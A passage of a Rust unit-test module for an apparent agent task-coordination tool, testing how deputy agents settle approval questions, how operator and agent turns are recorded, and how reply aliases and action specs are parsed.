3547        q.merge_target = Some(target());
3548        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3549            .unwrap();
3550        q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3551            .unwrap();
3552        assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3553        assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3554        // Recovery and stop choices need no exact token either.
3555        for choice in [
3556            crate::land::HOLD,
3557            crate::land::REPAIR,
3558            crate::merge_decision::WITHDRAW,
3559            "reimplement:beta",
3560        ] {
3561            let mut q = approval_question();
3562            q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3563            q.merge_target = Some(target());
3564            q.say("ちょっと待って、そっちでお願い").unwrap();
3565            q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3566                .unwrap();
3567            assert_eq!(q.resolution().as_deref(), Some(choice));
3568        }
3569        // A local release approval settles the same way.
3570        let mut release = Question::new(
3571            String::new(),
3572            crate::bump::NOTICE_NODE.into(),
3573            "release-watch".into(),
3574            "Release?".into(),
3575            String::new(),
3576            vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3577        );
3578        release.deputy = approval_question().deputy;
3579        release.say("リリースしていいよ").unwrap();
3580        release
3581            .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3582            .unwrap();
3583        assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3584    }
3585
3586    #[test]
3587    fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3588        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3589        for choice in [POST_ORIGINAL, USE_REWRITE] {
3590            let mut q = Question::new(
3591                "run".into(),
3592                ASK_NODE.into(),
3593                ASK_SEAT.into(),
3594                "s".into(),
3595                String::new(),
3596                vec![USE_FALLBACK.into(), choice.into()],
3597            );
3598            q.deputy = approval_question().deputy;
3599            q.say("それでいいよ、投稿して").unwrap();
3600            q.settle_by_deputy("deputy-x", choice, None).unwrap();
3601            assert_eq!(q.resolution().as_deref(), Some(choice));
3602        }
3603        let mut discard = approval_question();
3604        discard.node = "recovery".into();
3605        discard.choices.push("discard".into());
3606        discard.actions.insert("discard".into(), ChoiceAction::Done);
3607        discard.say("おっけーそれぞれ回答してー").unwrap();
3608        discard
3609            .settle_by_deputy("deputy-x", "discard", None)
3610            .unwrap();
3611        assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3612    }
3613
3614    #[test]
3615    fn hold_may_carry_the_hold_effect_but_no_other_action() {
3616        let mut q = choice_question();
3617        q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3618        q.actions
3619            .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3620        q.clone()
3621            .answer(Answer::Choice(crate::land::HOLD.into()))
3622            .unwrap();
3623        q.actions
3624            .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3625        assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3626    }
3627
3628    fn settle_ready() -> Question {
3629        let mut q = Question::new(
3630            "task".to_owned(),
3631            "conduct".to_owned(),
3632            "conduct".to_owned(),
3633            "Done?".to_owned(),
3634            String::new(),
3635            vec!["yes".to_owned(), "no".to_owned()],
3636        );
3637        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3638        seat.turns = 1;
3639        let mut dep = Deputy::new("brief".to_owned());
3640        dep.seat = Some(seat);
3641        q.deputy = Some(dep);
3642        q.say("setup done, and file a follow-up").unwrap();
3643        q
3644    }
3645
3646    #[test]
3647    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3648        let dir = tempfile::TempDir::new().unwrap();
3649        let store = Questions::at(dir.path().join("questions"));
3650        let mut q = settle_ready();
3651        let id = q.id.clone();
3652        store.put(&mut q).unwrap();
3653        store
3654            .update(&id, |q| {
3655                q.settle_by_deputy("deputy-x", "yes", Some("  no follow-up was queued  "))
3656            })
3657            .unwrap();
3658        let back = store.get(&id).unwrap();
3659        let turn = back.thread.last().unwrap();
3660        assert_eq!(turn.who, Who::Agent);
3661        assert!(turn.body.starts_with("Settled as `yes`"));
3662        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3663        assert_eq!(back.thread[0].note, None);
3664    }
3665
3666    #[test]
3667    fn an_empty_or_blank_settle_note_is_no_note() {
3668        for note in [None, Some(""), Some("  \n ")] {
3669            let mut q = settle_ready();
3670            q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3671            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3672            let json = serde_json::to_string(&q).unwrap();
3673            assert!(!json.contains("\"note\""), "no key when there is none");
3674        }
3675    }
3676
3677    #[test]
3678    fn a_refused_settle_leaves_no_note_behind() {
3679        let mut q = settle_ready();
3680        let before = q.thread.clone();
3681        assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3682        assert!(
3683            q.settle_by_deputy("someone-else", "yes", Some("n"))
3684                .is_err()
3685        );
3686        assert_eq!(q.thread, before);
3687        assert_eq!(q.status, QuestionStatus::Open);
3688    }
3689
3690    #[test]
3691    fn a_turn_written_before_notes_existed_still_reads() {
3692        let t: Turn =
3693            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3694                .unwrap();
3695        assert_eq!(t.note, None);
3696    }
3697
3698    #[test]
3699    fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3700        let mut q = Question::new(
3701            "task".to_owned(),
3702            "conduct".to_owned(),
3703            "conduct".to_owned(),
3704            "Done?".to_owned(),
3705            String::new(),
3706            vec!["yes".to_owned(), "no".to_owned()],
3707        );
3708        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3709        seat.turns = 1;
3710        let mut dep = Deputy::new("brief".to_owned());
3711        dep.seat = Some(seat);
3712        q.deputy = Some(dep);
3713        q.say("setup done, go ahead").unwrap();
3714
3715        assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3716        assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3717        let mut routed = q.clone();
3718        routed.routed_task = Some("task".into());
3719        assert!(
3720            routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3721            "a routed decision belongs to the task chat"
3722        );
3723        assert_eq!(q.status, QuestionStatus::Open);
3724
3725        q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3726        assert_eq!(q.status, QuestionStatus::Answered);
3727        assert_eq!(q.resolution().as_deref(), Some("yes"));
3728        let last = q.thread.last().unwrap();
3729        assert_eq!(last.who, Who::Agent);
3730        assert!(last.body.starts_with("Settled as `yes`"));
3731        let turns = q.thread.len();
3732        assert!(
3733            q.settle_by_deputy("deputy-x", "no", None).is_err(),
3734            "a settled question is not settled twice"
3735        );
3736        assert_eq!(q.thread.len(), turns);
3737    }
3738
3739    #[test]
3740    fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3741        let q = choice_question();
3742        let mut v = serde_json::to_value(&q).unwrap();
3743        v["answer_authority"] = serde_json::json!({
3744            "talk": "talk", "turn": 0, "message": 0,
3745            "instruction": "id: use my text fp\nA title",
3746            "instruction_fingerprint": "f", "recommendation_turn": null,
3747            "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3748            "question_fingerprint": "g", "recovery_interpretation": "r"
3749        });
3750        let back: Question = serde_json::from_value(v).unwrap();
3751        let legacy = back.answer_authority.as_ref().unwrap();
3752        assert_eq!(legacy.question, q.id);
3753        assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3754        // A re-save keeps what an old pending `use my text` answer needs, and
3755        // nothing else of the old evidence.
3756        let written = serde_json::to_value(&back).unwrap();
3757        assert_eq!(
3758            written["answer_authority"],
3759            serde_json::json!({
3760                "question": q.id, "choice": "SQLite",
3761                "instruction": "id: use my text fp\nA title"
3762            })
3763        );
3764        let again: Question = serde_json::from_value(written).unwrap();
3765        assert_eq!(again.answer_authority, back.answer_authority);
3766        assert!(
3767            serde_json::to_value(&q)
3768                .unwrap()
3769                .get("answer_authority")
3770                .is_none()
3771        );
3772    }
3773
3774    #[test]
3775    fn a_question_written_before_deputies_still_reads() {
3776        let mut q = Question::new(
3777            "task".to_owned(),
3778            "conduct".to_owned(),
3779            "conduct".to_owned(),
3780            "Done?".to_owned(),
3781            String::new(),
3782            Vec::new(),
3783        );
3784        q.schema = 4;
3785        let mut v = serde_json::to_value(&q).unwrap();
3786        v.as_object_mut().unwrap().remove("deputy");
3787        let back: Question = serde_json::from_value(v).unwrap();
3788        assert!(back.deputy.is_none());
3789    }
3790
3791    #[test]
3792    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3793        let mut q = choice_question();
3794        q.say("does the cache need eviction?").unwrap();
3795        assert_eq!(q.thread.len(), 1);
3796        assert_eq!(q.thread[0].who, Who::Operator);
3797        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3798        // Speaking is not deciding: the status and the answer are untouched,
3799        // which is the whole point of the round trip existing at all.
3800        assert_eq!(q.status, QuestionStatus::Open);
3801        assert!(q.answer.is_none());
3802        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3803    }
3804
3805    #[test]
3806    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3807        let mut answered = choice_question();
3808        answered
3809            .answer(Answer::Choice("SQLite".to_owned()))
3810            .unwrap();
3811        let a = answered.say("still there?").unwrap_err().to_string();
3812        assert!(a.contains("already answered"), "{a}");
3813        let b = answered
3814            .reply("still there?", vec![])
3815            .unwrap_err()
3816            .to_string();
3817        assert!(b.contains("already answered"), "{b}");
3818
3819        let mut abandoned = choice_question();
3820        abandoned.abandon("timed out");
3821        let c = abandoned.say("hello?").unwrap_err().to_string();
3822        assert!(c.contains("abandoned"), "{c}");
3823
3824        let mut open = choice_question();
3825        let d = open.say("   ").unwrap_err().to_string();
3826        assert!(d.contains("empty"), "{d}");
3827        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3828        assert!(e.contains("empty"), "{e}");
3829        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3830    }
3831
3832    #[test]
3833    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3834        let mut q = choice_question();
3835        q.say("SQLite or Redis, but what about disk space?")
3836            .unwrap();
3837        assert!(q.waiting_on_agent());
3838
3839        q.reply(
3840            "SQLite: it is one file, no server to run.",
3841            vec!["SQLite".to_owned()],
3842        )
3843        .unwrap();
3844
3845        assert_eq!(q.choices, ["SQLite"]);
3846        assert!(
3847            !q.waiting_on_agent(),
3848            "the agent spoke, so the owner is the one being waited on now"
3849        );
3850        assert_eq!(q.thread.len(), 2);
3851        assert_eq!(q.thread[1].who, Who::Agent);
3852
3853        // The new choice set is what a subsequent answer is checked against.
3854        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3855        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3856        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3857    }
3858
3859    #[test]
3860    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3861        let mut fresh = choice_question();
3862        assert!(
3863            fresh.should_notify(Timestamp::now()),
3864            "nobody has been notified yet, so the first ask always pages"
3865        );
3866
3867        fresh.say("why not Postgres?").unwrap();
3868        let just_said = fresh.thread[0].at;
3869        assert!(
3870            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3871            "still on the screen a minute later; no need to page again"
3872        );
3873        assert!(
3874            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3875            "exactly the window: `>` means this side stays quiet"
3876        );
3877        assert!(
3878            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3879            "past the window: they may have walked away"
3880        );
3881    }
3882
3883    #[test]
3884    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3885        let (_dir, s) = store();
3886        let mut q = choice_question();
3887        s.put(&mut q).unwrap();
3888        q.say("why not Postgres?").unwrap();
3889        s.put(&mut q).unwrap();
3890        q.reply("no server to run", vec!["SQLite".to_owned()])
3891            .unwrap();
3892        s.put(&mut q).unwrap();
3893
3894        assert_eq!(
3895            s.count_open(),
3896            1,
3897            "one question that talked twice is still one open question"
3898        );
3899        assert_eq!(s.open_for(&q.run).len(), 1);
3900    }
3901
3902    #[tokio::test]
3903    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3904        let (dir, s) = store();
3905        let mut q = choice_question();
3906        let id = q.id.clone();
3907        let writer = Questions::at(dir.path().join("questions"));
3908        let handle = tokio::spawn(async move {
3909            tokio::time::sleep(Duration::from_millis(30)).await;
3910            let mut fresh = writer.get(&id).expect("the question was filed first");
3911            fresh.say("why not Postgres?").unwrap();
3912            writer.put(&mut fresh).unwrap();
3913        });
3914
3915        let got = wait_for_owner(
3916            &mut q,
3917            &s,
3918            &quiet(),
3919            Duration::from_secs(5),
3920            Duration::from_millis(10),
3921        )
3922        .await
3923        .unwrap();
3924
3925        handle.await.unwrap();
3926        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3927        assert_eq!(
3928            q.status,
3929            QuestionStatus::Open,
3930            "talking back is not a decision; the question stays open"
3931        );
3932        assert!(q.answer.is_none());
3933    }
3934
3935    #[test]
3936    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3937        let mut q = choice_question();
3938        q.say("A").unwrap();
3939        q.delivered_turns = q.thread.len();
3940        q.say("B").unwrap();
3941        q.reply("about A", vec![]).unwrap();
3942        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3943        q.delivered_turns = q.thread.len();
3944        assert_eq!(q.unread_from_owner(), None);
3945    }
3946
3947    #[test]
3948    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3949        let (_d, s) = store();
3950        let mut q = choice_question();
3951        s.put(&mut q).unwrap();
3952        q.say("first").unwrap();
3953        q.say("second").unwrap();
3954        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3955        s.put(&mut q).unwrap();
3956        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3957        let mut out = Vec::new();
3958        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3959        let shown = String::from_utf8(out).unwrap();
3960        let (a, b, c) = (
3961            shown.find("first").unwrap(),
3962            shown.find("second").unwrap(),
3963            shown.find("SQLite").unwrap(),
3964        );
3965        assert!(a < b && b < c, "{shown}");
3966        assert_eq!(q.delivered_turns, q.thread.len());
3967        assert!(q.answer_delivered);
3968    }
3969
3970    #[test]
3971    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3972        let mut q = choice_question();
3973        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3974        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3975        let mut q = choice_question();
3976        q.say("old").unwrap();
3977        q.delivered_turns = q.thread.len();
3978        q.say("new").unwrap();
3979        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3980        let shown = answer_for_agent(&q, "SQLite");
3981        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3982    }
3983
3984    #[test]
3985    fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
3986        let mut q = choice_question();
3987        q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
3988        q.actions.insert(
3989            q.choices[0].clone(),
3990            ChoiceAction::ResumeRun {
3991                run: "run-a".into(),
3992            },
3993        );
3994        q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
3995        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
3996        assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
3997        assert!(
3998            q.resolve_reply("resume-run")
3999                .unwrap_err()
4000                .to_string()
4001                .contains("with offered choices")
4002        );
4003        assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
4004        assert!(
4005            q.resolve_reply("daemon: resume [resume run run-a]")
4006                .is_err()
4007        );
4008        q.actions.insert(
4009            q.choices[0].clone(),
4010            ChoiceAction::Resume {
4011                run: "run-a".into(),
4012            },
4013        );
4014        assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
4015        q.choices.push("another resume".into());
4016        q.actions.insert(
4017            "another resume".into(),
4018            ChoiceAction::Resume {
4019                run: "run-b".into(),
4020            },
4021        );
4022        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4023    }
4024
4025    #[test]
4026    fn recovery_aliases_require_a_unique_offered_structured_effect() {
4027        let mut q = choice_question();
4028        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4029        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4030            q.actions
4031                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4032        }
4033        assert!(
4034            q.resolve_reply("再開")
4035                .unwrap_err()
4036                .to_string()
4037                .contains("ambiguous")
4038        );
4039        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4040        q.choices.remove(1);
4041        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4042        assert!(q.resolve_reply("resume run-b").is_err());
4043        assert!(q.resolve_reply("保留").is_err());
4044        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4045        assert!(!ChoiceAction::Done.matches_alias("完了"));
4046    }
4047
4048    #[test]
4049    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4050        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4051        let ok = parse_actions(
4052            &[
4053                "resume で続行する=resume".to_owned(),
4054                "wait=done".to_owned(),
4055            ],
4056            &choices,
4057            "run-1",
4058        )
4059        .unwrap();
4060        assert_eq!(
4061            ok["resume で続行する"],
4062            ChoiceAction::Resume {
4063                run: "run-1".into()
4064            }
4065        );
4066        assert_eq!(ok["wait"], ChoiceAction::Done);
4067
4068        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4069        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4070        assert_eq!(
4071            ChoiceAction::parse("x=requeue", "").unwrap().1,
4072            ChoiceAction::Requeue
4073        );
4074
4075        assert_eq!(
4076            ChoiceAction::parse("x=hold", "").unwrap().1,
4077            ChoiceAction::Hold
4078        );
4079
4080        for bad in [
4081            "no-equals",
4082            "=done",
4083            "x=resume",
4084            "x=resume:",
4085            "x=explode",
4086            "x=done:1",
4087        ] {
4088            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4089        }
4090        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4091        assert!(
4092            parse_actions(
4093                &["wait=done".to_owned(), "wait=requeue".to_owned()],
4094                &choices,
4095                ""
4096            )
4097            .is_err()
4098        );
4099    }
4100
4101    #[test]
4102    fn only_a_chosen_label_with_an_action_is_actionable() {
4103        let mut q = choice_question();
4104        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4105        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4106        assert!(q.chosen_action().is_none(), "unanswered");
4107        q.answer(Answer::Choice("resume".to_owned())).unwrap();
4108        assert!(
4109            q.chosen_action().is_none(),
4110            "a label that merely reads like an action does nothing"
4111        );
4112
4113        let mut q2 = choice_question();
4114        q2.choices = vec!["SQLite".to_owned()];
4115        q2.actions
4116            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4117        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4118        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4119    }
4120
4121    #[test]
4122    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4123        let mut q = choice_question();
4124        q.choices = vec!["A".to_owned(), "B".to_owned()];
4125        q.actions.insert("A".to_owned(), ChoiceAction::Done);
4126        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4127        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4128        assert_eq!(q.actions.len(), 1);
4129        assert!(q.actions.contains_key("B"));
4130
4131        let mut v = serde_json::to_value(&q).unwrap();
4132        v.as_object_mut().unwrap().remove("actions");
4133        let old: Question = serde_json::from_value(v).unwrap();
4134        assert!(old.actions.is_empty());
4135    }
4136}